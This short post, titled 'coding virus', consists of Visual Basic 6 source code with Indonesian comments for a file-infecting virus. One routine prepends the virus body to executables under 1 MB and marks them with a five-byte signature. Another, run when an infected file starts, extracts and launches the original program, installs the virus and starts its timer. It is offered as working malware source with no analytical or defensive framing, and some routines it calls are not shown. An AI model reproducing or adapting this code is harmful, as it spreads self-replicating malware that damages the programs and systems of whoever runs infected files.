coding virus

Code:
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function